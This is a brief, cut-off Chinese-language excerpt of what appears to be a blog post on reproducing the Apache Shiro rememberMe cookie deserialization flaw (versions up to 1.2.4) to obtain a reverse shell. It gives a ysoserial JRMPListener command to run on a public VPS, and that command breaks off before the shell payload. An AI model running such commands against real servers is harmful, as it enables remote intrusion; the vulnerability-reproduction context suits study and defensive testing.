Apache shiro 反序列化漏洞復現（反彈 shell）

0x01 影響版本 Apache Shiro <= 1.2.4html 0x02 漏洞位置 http 請求包 cookie 中的 rememberMe 參數。java 0x03 漏洞復現 在公網 vps 執行下列命令 java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 "反 彈 shell 的

>>阅读原文<<